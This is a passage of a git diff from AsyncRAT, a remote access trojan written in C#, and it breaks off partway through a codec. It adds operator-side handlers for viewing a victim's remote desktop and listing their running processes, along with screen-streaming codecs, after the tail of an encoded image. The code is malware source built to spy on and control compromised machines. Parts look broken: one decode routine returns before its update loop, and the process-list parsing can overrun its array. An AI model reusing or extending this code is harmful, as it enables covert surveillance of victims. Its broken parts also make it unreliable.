+ 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
+ gg==
+
+
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
index 30046cb..944f169 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
@@ -4,6 +4,9 @@ using AsyncRAT_Sharp.MessagePack;
using System;
using System.Diagnostics;
using System.Drawing;
+using AsyncRAT_Sharp.Forms;
+using System.IO;
+
namespace AsyncRAT_Sharp.Handle_Packet
{
@@ -28,6 +31,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
+ Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
Program.form1.listView1.Items.Insert(0, Client.LV);
Settings.Online.Add(Client);
}));
@@ -51,6 +55,81 @@ namespace AsyncRAT_Sharp.Handle_Packet
}
}
break;
+
+ case "remoteDesktop":
+ {
+ if (Program.form1.InvokeRequired)
+ {
+ Program.form1.BeginInvoke((MethodInvoker)(() =>
+ {
+ RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
+ try
+ {
+ if (RD != null && RD.Active == true)
+ {
+ byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
+ Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
+
+ if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
+ {
+ RD.pictureBox1.Image = (Bitmap)decoded;
+ RD.RenderSW = Stopwatch.StartNew();
+ }
+ RD.FPS++;
+ if (RD.sw.ElapsedMilliseconds >= 1000)
+ {
+ RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Helper.BytesToString(RdpStream.Length);
+ RD.FPS = 0;
+ RD.sw = Stopwatch.StartNew();
+ }
+ }
+ else
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+ msgpack.ForcePathObject("Option").AsString = "false";
+ Client.BeginSend(msgpack.Encode2Bytes());
+ }
+ }
+ catch (Exception ex) { Debug.WriteLine(ex.Message); }
+ }));
+ }
+ }
+ break;
+
+ case "processManager":
+ {
+ if (Program.form1.InvokeRequired)
+ {
+ Program.form1.BeginInvoke((MethodInvoker)(() =>
+ {
+ ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID];
+ if (PM != null)
+ {
+ PM.listView1.Items.Clear();
+ string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString;
+ string data = AllProcess.ToString();
+ string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None);
+ for (int i = 0; i < _NextProc.Length; i++)
+ {
+ if (_NextProc[i].Length > 0)
+ {
+ ListViewItem lv = new ListViewItem();
+ lv.Text = Path.GetFileName(_NextProc[i]);
+ lv.SubItems.Add(_NextProc[i + 1]);
+ lv.ToolTipText = _NextProc[i];
+ Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
+ PM.imageList1.Images.Add(_NextProc[i + 1], im);
+ lv.ImageKey = _NextProc[i + 1];
+ PM.listView1.Items.Add(lv);
+ }
+ i += 2;
+ }
+ }
+ }));
+ }
+ }
+ break;
}
}
catch (Exception ex)
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs
index ad2872a..7507ff5 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs
@@ -4,9 +4,9 @@ namespace AsyncRAT_Sharp
{
class Helper
{
- public static String BytesToString(long byteCount)
+ public static string BytesToString(long byteCount)
{
- string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB
+ string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
if (byteCount == 0)
return "0" + suf[0];
long bytes = Math.Abs(byteCount);
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
index e90a930..fef840c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
@@ -21,7 +21,7 @@ namespace AsyncRAT_Sharp.Sockets
// private event ReadEventHandler Read;
// private delegate void ReadEventHandler(Clients client, byte[] data);
private object SendSync { get; set; }
-
+ public string ID { get; set; }
public Clients(Socket CLIENT)
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
index 33b3aca..b050d84 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
@@ -2,7 +2,6 @@
using System.Net;
using System.Net.Sockets;
using System;
-using System.Threading;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Sockets
@@ -34,8 +33,9 @@ namespace AsyncRAT_Sharp.Sockets
}
}
- private void BeginAccept()
+ private async void BeginAccept()
{
+ await Task.Delay(1);
listener.BeginAccept(EndAccept, null);
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs
new file mode 100644
index 0000000..fce74ea
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs
@@ -0,0 +1,160 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class DirectDriverCodec
+ {
+ private Bitmap decodedBitmap;
+
+ private byte[] EncodeBuffer;
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private JpgCompression jpgCompression;
+
+ public DirectDriverCodec(int Quality)
+ {
+ jpgCompression = new JpgCompression(Quality);
+ }
+
+ public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ if (EncodeBuffer == null)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ this.EncodeBuffer = new byte[RawLength];
+ fixed (byte* ptr = EncodeBuffer)
+ {
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
+ }
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ for (int i = 0; i < Changes.Length; i++)
+ {
+ Rectangle rect = Changes[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ }
+
+ public Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+ return decodedBitmap;
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs
new file mode 100644
index 0000000..072ff3e
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs
@@ -0,0 +1,68 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ ///
+ /// The M-JPG codec is not very efficient for networking as it is just a very simple codec
+ ///
+ public class MJPGCodec : IVideoCodec
+ {
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override ulong CachedSize
+ {
+ get { return 0; }
+ internal set { }
+ }
+
+ public override int BufferCount
+ {
+ get { return 0; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.None; }
+ }
+
+ public MJPGCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+
+ }
+
+ public override void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ lock (base.jpgCompression)
+ {
+ byte[] data = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
+ outStream.Write(data, 0, data.Length);
+ }
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ lock (base.jpgCompression)
+ {
+ if (!inStream.CanRead)
+ throw new Exception("Must have access to Read in the Stream");
+
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, temp.Length);
+ int DataLength = BitConverter.ToInt32(temp, 0);
+ temp = new byte[DataLength];
+ inStream.Read(temp, 0, temp.Length);
+ return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs
new file mode 100644
index 0000000..e9dc63c
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs
@@ -0,0 +1,204 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class QuickCachedStreamCodec : IVideoCodec
+ {
+ private Bitmap CodeTempBitmap;
+ private Bitmap DecodeTempBitmap;
+
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public int MaxBuffers { get; private set; }
+ private SortedList EncodeCache;
+ private SortedList DecodeCache;
+
+
+ ///
+ /// Initialize a new object of QuickStreamCodec
+ ///
+ /// The image quality 0-100%
+ public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ this.MaxBuffers = MaxBuffers;
+ this.EncodeCache = new SortedList();
+ this.DecodeCache = new SortedList();
+ }
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
+ }
+
+ public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ if (CodeTempBitmap != null)
+ {
+ if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+ }
+
+ if (CodeTempBitmap == null)
+ {
+ byte[] temp = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ CodeTempBitmap = bitmap;
+ return;
+ }
+
+ BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
+ BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
+ int Stride = Math.Abs(bmpData.Stride);
+
+ List Blocks = new List();
+
+ for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
+ {
